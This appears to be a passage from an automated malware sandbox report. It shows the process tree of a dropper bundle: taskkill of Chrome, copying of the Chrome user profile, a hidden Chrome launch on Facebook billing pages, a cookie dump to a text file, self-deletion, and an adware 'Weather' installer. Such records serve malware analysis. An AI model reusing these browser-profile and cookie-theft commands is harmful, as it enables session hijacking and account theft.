                                                                                                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4508
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Version.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Version.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:720
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\Program Files\unins0000.vbs"
                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1608
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:616
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2108
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3704
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4816
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5712
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1736
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff93ab46e00,0x7ff93ab46e10,0x7ff93ab46e20
                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4488
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1896 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2844
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1468 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5448
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2164 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3956
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2672 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6396
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2656 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6388
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3044 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6488
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3028 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6456
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6720
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3728 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6832
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4044 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2364
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1452,14393839284653146433,8215373589372149766,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5940 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6312
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1820
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe" >> NUL
                                                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ping 127.0.0.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4288
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6016
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\5956954.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\5956954.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\1160681.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\1160681.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\8968543.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\8968543.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\8968543.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "{path}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\2386882.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\2386882.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5492
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\AUDIODG.EXE 0x418
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding ABD98FC33B691D68A9E26DB968C13645 C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding D631E85E3054A97E8B21FC6CC10BAAC4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Drops Chrome extension
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--anbfs"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x1c8,0x1c4,0x1c0,0x1ec,0x1bc,0x7ff93c219ec0,0x7ff93c219ed0,0x7ff93c219ee0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --mojo-platform-channel-handle=1944 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --mojo-platform-channel-handle=1932 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1876 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2436 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4568
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,3812267472801461291,12686624050208187798,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6712_234058245" --mojo-platform-channel-handle=3148 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
